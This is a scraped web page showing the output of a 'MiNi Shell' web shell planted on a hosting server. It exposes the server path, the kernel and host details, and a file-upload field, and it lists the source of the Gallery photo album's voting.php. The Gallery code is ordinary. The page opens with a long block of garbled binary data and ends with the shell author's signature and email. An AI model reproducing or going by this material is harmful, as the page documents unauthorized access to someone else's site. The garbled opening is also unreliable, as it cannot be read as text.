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.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /proc/thread-self/root/hermes/sb_web/b2815/1000stickers.com/Gallery/lib/

Linux boscustweb5003.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Upload File :
Current File : //proc/thread-self/root/hermes/sb_web/b2815/1000stickers.com/Gallery/lib/voting.php

<?php
/*
 * Gallery - a web based photo album viewer and editor
 * Copyright (C) 2000-2005 Bharat Mediratta
 * 
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or (at
 * your option) any later version.
 * 
 * This program is distributed in the hope that it will be useful, but
 * WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 * General Public License for more details.
 * 
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
 *
 * $Id: voting.php,v 1.4.4.1 2005/03/10 02:30:08 cryptographite Exp $
 */
?>
<?php

/*
 * expects as input an array where the keys
 * are string labels and the values are
 * numbers.  Values must be non-negative
 * returns an HTML bar graph as a string
 * assumes bar.gif, located in images/
 * modified from example in PHP Bible
 */
function arrayToBarGraph ($array, $max_width, $table_values="CELLPADDING=5",  $col_1_head=null, $col_2_head=null) {
	global $gallery;
	foreach ($array as $value) {
		if ((IsSet($max_value) && ($value > $max_value)) || (!IsSet($max_value)))  {
			$max_value = $value;
		}
	}

	if (!isSet($max_value)) {
		// no results!
		return null;
	}

	$string_to_return = "\n  <table $table_values>";
	if ($col_1_head || $col_2_head) {
		$string_to_return .=	'<tr>' .
					"\n\t<td></td>".
					"\n\t<td class=\"admin\">$col_1_head</td>".
					"\n\t<td class=\"admin\">$col_2_head</td>".
					"</tr>";
	}

	if ($max_value > 0) {
		$pixels_per_value = ((double) $max_width)
			/ $max_value;
	}
	else {
		$pixels_per_value = 0;
	}

	$counter = 0;
	foreach ($array as $name => $value) {
		$bar_width = $value * $pixels_per_value;
		$img_url= getImagePath('bar.gif');
		$string_to_return .= "\n\t<tr>"
			. "\n\t<td>(". ++$counter .")</td>"
			. "\n\t<td>$name ($value)</td>"
			. "\n\t<td><img src=\"". $img_url ."\" border=\"1\""
			. " width=\"$bar_width\" height=\"10\" alt=\"BAR\"></td>"
			. "\n\t</tr>";
	}
	$string_to_return .= "\n  </table>";
	return($string_to_return);
}

function saveResults($votes) {
	global $gallery;

	if (!$votes) {
		return;
	}

	if ($gallery->album->getPollType() == "critique") {
		foreach ($votes as $vote_key => $vote_value) {
			if ($vote_value === null || $vote_value == "NULL")  {
			       	if (isset($gallery->album->fields["votes"][$vote_key][getVotingID()])) {
				       	unset($gallery->album->fields["votes"][$vote_key][getVotingID()]);
			       	}
		       	} else {
				$gallery->album->fields["votes"][$vote_key][getVotingID()]=intval($vote_value);
			}
		}
       	} else {
	       	krsort($votes, SORT_NUMERIC);
		foreach ($votes as $vote_value => $vote_key) {
		       	if (isset($gallery->album->fields["votes"] [$vote_key] [getVotingID()]) &&
				  $gallery->album->fields["votes"] [$vote_key] [getVotingID()] ===intval($vote_value)) {
				//vote hasn't changed, so skip to next one
				continue;
			}
			foreach ($gallery->album->fields["votes"] as $previous_key => $previous_vote) {
				if (isset($previous_vote[getVotingID()]) &&
						$previous_vote[getVotingID()] 
							=== intval($vote_value)) {
					unset($gallery->album->fields["votes"][$previous_key][getVotingID()]);
				}
			}
			$gallery->album->fields["votes"][$vote_key][getVotingID()] = intval($vote_value);
		}
	}
	$gallery->album->save(array(i18n("New vote recorded")));
}

function getVotingID() {
	global $gallery;

	if ($gallery->album->getVoterClass() ==  "Logged in") {
		return $gallery->user->getUid();
	}
	else if ($gallery->album->getVoterClass() ==  "Everybody") {
		return session_id();
	}
	else {
		return NULL;
	}

}

function canVote()
{
	global $gallery;

	if ($gallery->album->numPhotos($gallery->user->canWriteToAlbum($gallery->album)) == 0) {
	       return false; 
	}	       

	if ($gallery->album->getVoterClass() == "Everybody") {
		return true;
	}

	if ($gallery->album->getVoterClass() == "Logged in" && $gallery->user->isLoggedIn()) {
		return true;
	}

	return false;
}

function addPolling ($id, $form_pos=-1, $immediate=true) {
	global $gallery;

	if ( !canVote()) {
		return;
	}

	if (isset($gallery->album->fields["votes"][$id][getVotingID()])) {
	       	$current_vote = $gallery->album->fields["votes"][$id][getVotingID()];
	} else {
		$current_vote = -1;
	}

	$nv_pairs=$gallery->album->getVoteNVPairs();
	print $gallery->album->getPollHint();
	if ($gallery->album->getPollScale() == 1 && $gallery->album->getPollType() == "critique") {
		print "\n<input type=checkbox name=\"votes[$id]\" value=\"1\"";
		if ($current_vote > 0) {
			print "checked";
		}
		print ">".$nv_pairs[0]["name"];
	}
	else if ($gallery->album->getPollType() == "rank") {
		if ($gallery->album->getPollHorizontal()) {
			print "<table><tr>";
			for ($i = 0; $i < $gallery->album->getPollScale() ; $i++) {
				print "\n<td align=center><input type=radio name=\"votes[$i]\" value=$id onclick=\"chooseOnlyOne($i, $form_pos,".
				$gallery->album->getPollScale().")\" ";
				if ($current_vote === $i) {
					print "checked";
				}
				print "></td>";
			}
			print "</tr><tr>";
			for ($i = 0; $i < $gallery->album->getPollScale() ; $i++) {
				print "<td align=center>".$nv_pairs[$i]["name"]."</td>";
			}
			print "</tr></table>";
		    }
		else {
			print "<table>";
			for ($i = 0; $i < $gallery->album->getPollScale() ; $i++) {
				print "<tr>";
				print "\n<td align=center><input type=radio name=\"votes[$i]\" value=$id onclick=\"chooseOnlyOne($i, $form_pos,".
				$gallery->album->getPollScale().")\" ";
				if ($current_vote === $i) {
					print "checked";
				}
				print "></td>";
				print "<td >".$nv_pairs[$i]["name"]."</td>";
				print "</tr><tr>";
			}
			print "</table>";
	    	}
	}
	else { // "critique"
		if ($immediate) {
			print "\n<br><select style='FONT-SIZE: 10px;' name=\"votes[$id]\" ";
			print "onChange='this.form.submit();'>";
		}
		else {
			print "\n<br><select name=\"votes[$id]\">";
		}

		if ($current_vote == -1) {
			print "<option value=NULL><< ". _("Vote") . " >></option>\n";
		}

		for ($i = 0; $i < $gallery->album->getPollScale() ; $i++) {
			$sel="";
			if ($current_vote === $i) {
				$sel="selected";
			}
			print "<option value=$i $sel>".$nv_pairs[$i]["name"]."</option>\n";
		}
		print "</select>";
	}
}

function showResultsGraph($num_rows) {
	global $gallery;

	$results=array();
	$results_count=array();
	$nv_pairs=$gallery->album->getVoteNVPairs();
	$buf='';

	$voters=array();
	foreach ($gallery->album->fields["votes"] as $element => $image_votes) {
		$accum_votes=0;
		$count=0;
		foreach ($image_votes as $voter => $vote_value ) {
			$voters[$voter]=true;
			if ($vote_value> $gallery->album->getPollScale()) { // scale has changed
				$vote_value=$gallery->album->getPollScale();
			}
			$accum_votes+=$nv_pairs[$vote_value]["value"];
			$count++;
		    }
		    if ($accum_votes > 0)  {
	        	$results_count[$element]=$count;
			if ($gallery->album->getPollType() == "rank" || $gallery->album->getPollScale() == 1) {
		    		$results[$element]=$accum_votes;
				$summary="("._("Total points in brackets") . ")";
			}
		    	else {
				$results[$element]=number_format(((double)$accum_votes)/$count, 2);
				$summary="("._("Average points in brackets") . ")";
			}
		}
	}
	array_multisort($results, SORT_NUMERIC, SORT_DESC, $results_count, SORT_NUMERIC, SORT_DESC);
	$rank=0;
	$graph=array();
	$needs_saving=false;
	foreach ($results as $element => $count) {
		$index=$gallery->album->getIndexByVotingId($element);
		if ($index < 0)  {
			// image has been deleted!
			continue;
		} 

		if ($gallery->album->isAlbum($index)) {
			$url = makeAlbumUrl($gallery->album->getAlbumName($index));
			$album=$gallery->album->getSubAlbum($index);
			$desc=sprintf(_("Album: %s"), 
					$album->fields['title']);

		} else {
			$id = $gallery->album->getPhotoId($index);
			$url=makeAlbumUrl($gallery->session->albumName, $id);
			$desc=$gallery->album->getCaption($index);
			if (trim($desc)== "") {
				$desc=$id;
			}	
		}
		$current_rank = $gallery->album->getRank($index);
		$rank++;
		if ($rank != $current_rank) {
			$needs_saving = true;
			$gallery->album->setRank($index, $rank);
		}

		if ($rank > $num_rows) {
			continue;
		}
		
	    	$name_string='<a href="';
		$name_string.= $url;
		$name_string.= '">';
		$name_string.= $desc;
		$name_string.= "</a>";
		$name_string.= " - ".
		      	pluralize_n2(ngettext("1 voter", "%d voters", $results_count[$element]), $results_count[$element]);
	       	$graph[$name_string]=$count;
	}

	if ($needs_saving) {
		$gallery->album->save();
	}

	$graph=arrayToBarGraph($graph, 300, "border=0");
	$buf .="\n<br>";
	if ($graph) {
                $buf .="<span class=\"title\">".
		      	pluralize_n2(ngettext("Result from one voter", 
			"Result of %d voters", sizeof($voters)), sizeof($voters)).
                        "</span>";
                if ($gallery->album->getPollType() == "critique") {
                        $key_string="";
                        foreach ($nv_pairs as $nv_pair) {
				if (empty($nv_pair["name"])) {
					continue;
				}
				$key_string .= sprintf(_("%s: %s points; "), 
						$nv_pair["name"],
						$nv_pair["value"]);
			}
                        if (strlen($key_string) > 0) {
                                $buf .= "<br>". sprintf(_("Key - %s"), 
						$key_string)." $summary<br>";
			}
		}
                $buf .= $graph;
        } else if ($num_rows > 0 && $gallery->user->canWriteToAlbum($gallery->album)) {
		$buf .= "<span class=\"title\">"._("No votes so far.")."<br></span>";
	}
	return array($buf, $results);
}

function showResults($id) {
	global $gallery;

	$vote_tally=array();
	$nv_pairs=$gallery->album->getVoteNVPairs();
	$buf='';
	if (isSet ($gallery->album->fields["votes"][$id])) {
		foreach ($gallery->album->fields["votes"][$id] as $vote) {
			if (!isSet($vote_tally[$vote])) {
				$vote_tally[$vote]=1;
			}
			else {
				$vote_tally[$vote]++;
			}
		}
	}
	$buf .= "<span class=\"admin\">"._("Poll results:")."</span><br>";

	if (sizeof($vote_tally) === 0) {
		$buf .= _("No votes")."<br>";
		return;
	}
	$index=$gallery->album->getIndexByVotingId($id);
	$buf .= sprintf(_("Number %d overall."), $gallery->album->getRank($index)) ."<br>";
	ksort($vote_tally);

	foreach ($vote_tally as $key => $value) {
		$buf .= sprintf(_("%s: %s"), $nv_pairs[$key]["name"],
		      	pluralize_n2(ngettext("one vote", "%d votes", $value), $value)) . "<br>";

	}
	return $buf;
}

?>

Creat By MiNi SheLL
Email: devilkiller@gmail.com